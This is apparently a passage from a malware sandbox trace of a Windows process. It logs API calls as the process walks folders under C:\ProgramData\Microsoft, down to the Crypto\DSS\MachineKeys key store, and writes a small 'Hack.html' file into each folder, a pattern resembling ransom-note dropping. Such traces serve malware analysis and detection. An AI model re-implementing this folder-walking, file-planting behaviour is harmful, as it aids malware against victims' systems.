[0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.837] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.838] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0068.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\", lpFilePart=0x0) returned 0x24 [0068.838] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.839] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.839] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.839] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.839] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.840] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0068.840] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\", lpFilePart=0x0) returned 0x24 [0068.840] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.840] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.840] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.840] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.840] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0068.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\", lpFilePart=0x0) returned 0x2b [0068.841] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.841] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.842] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.842] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0068.842] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\", lpFilePart=0x0) returned 0x2b [0068.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.842] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.843] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.843] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.843] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0068.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\", lpFilePart=0x0) returned 0x2f [0068.843] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.844] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.844] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.844] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.844] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0068.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\", lpFilePart=0x0) returned 0x2f [0068.844] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.845] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.845] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.845] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.845] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0068.845] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0068.845] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpFilePart=0x0) returned 0x35 [0068.845] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.848] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.849] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.849] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.849] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0068.849] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0068.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0068.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0068.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0068.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpFilePart=0x0) returned 0x35 [0068.850] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0068.851] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.851] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.851] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.852] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.852] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.852] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.852] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.852] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.853] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0068.853] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0068.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0068.854] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", lpFilePart=0x0) returned 0x3e [0068.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0068.854] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.856] GetFileType (hFile=0x258) returned 0x1 [0068.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0068.856] GetFileType (hFile=0x258) returned 0x1 [0068.856] WriteFile (in: hFile=0x258, lpBuffer=0x272d034*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x272d034*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0068.857] CloseHandle (hObject=0x258) returned 1 [0068.858] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", lpFilePart=0x0) returned 0x38 [0068.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0068.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.858] GetFileType (hFile=0x258) returned 0x1 [0068.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0068.858] GetFileType (hFile=0x258) returned 0x1 [0068.858] WriteFile (in: hFile=0x258, lpBuffer=0x272f81c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x272f81c*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0068.859] CloseHandle (hObject=0x258) returned 1 [0068.860] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\Hack.html", lpFilePart=0x0) returned 0x34 [0068.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.860] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.861] GetFileType (hFile=0x258) returned 0x1 [0068.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.861] GetFileType (hFile=0x258) returned 0x1 [0068.861] WriteFile (in: hFile=0x258, lpBuffer=0x2731ff4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2731ff4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.862] CloseHandle (hObject=0x258) returned 1 [0068.862] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Hack.html", lpFilePart=0x0) returned 0x2d [0068.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.862] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\programdata\\microsoft\\assistance\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.863] GetFileType (hFile=0x258) returned 0x1 [0068.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.863] GetFileType (hFile=0x258) returned 0x1 [0068.863] WriteFile (in: hFile=0x258, lpBuffer=0x27347ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27347ac*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.864] CloseHandle (hObject=0x258) returned 1 [0068.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0068.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x20 [0068.864] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.865] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.865] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.865] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.865] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.865] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.866] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.866] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0068.866] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x20 [0068.866] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.866] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.867] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0068.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", lpFilePart=0x0) returned 0x24 [0068.867] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.867] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.868] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0068.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\", lpFilePart=0x0) returned 0x24 [0068.868] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.869] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.869] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.869] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.869] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0068.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", lpFilePart=0x0) returned 0x30 [0068.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", 